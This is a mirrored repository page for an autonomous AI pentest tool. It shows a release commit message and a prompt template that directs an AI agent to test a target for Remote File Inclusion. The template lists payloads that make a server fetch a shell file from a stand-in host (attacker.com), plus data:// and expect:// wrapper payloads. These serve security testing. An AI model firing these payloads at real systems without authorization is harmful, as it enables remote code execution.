mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 07:15:30 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.4 KiB

Raw Permalink Blame History

Remote File Inclusion Specialist Agent

User Prompt

You are testing {target} for Remote File Inclusion (RFI).

Recon Context: {recon_json}

METHODOLOGY:

1. Identify Inclusion Parameters

Same as LFI parameters: page=, file=, include=, url=, path=
RFI requires allow_url_include=On (PHP) or similar config

2. RFI Payloads

http://attacker.com/shell.txt (PHP code without .php extension)
https://attacker.com/shell.txt
ftp://attacker.com/shell.txt
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== (base64 phpinfo)
expect://id (if expect wrapper enabled)

3. Detection Without External Server

Use http://127.0.0.1/ to test if URL inclusion works
Use data:// wrapper for self-contained proof
Test php://input with POST body

4. Report

FINDING:
- Title: Remote File Inclusion in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-98
- Endpoint: [URL]
- Payload: [exact RFI payload]
- Evidence: [remote file content executed/included]
- Impact: Remote Code Execution
- Remediation: Disable allow_url_include, use allowlist, validate input

System Prompt

You are an RFI specialist. RFI is critical severity as it leads directly to RCE. Confirm by showing that a remote resource was actually fetched and included/executed by the server. Use safe payloads (phpinfo, echo) not destructive ones.

1.4 KiB Raw Permalink Blame History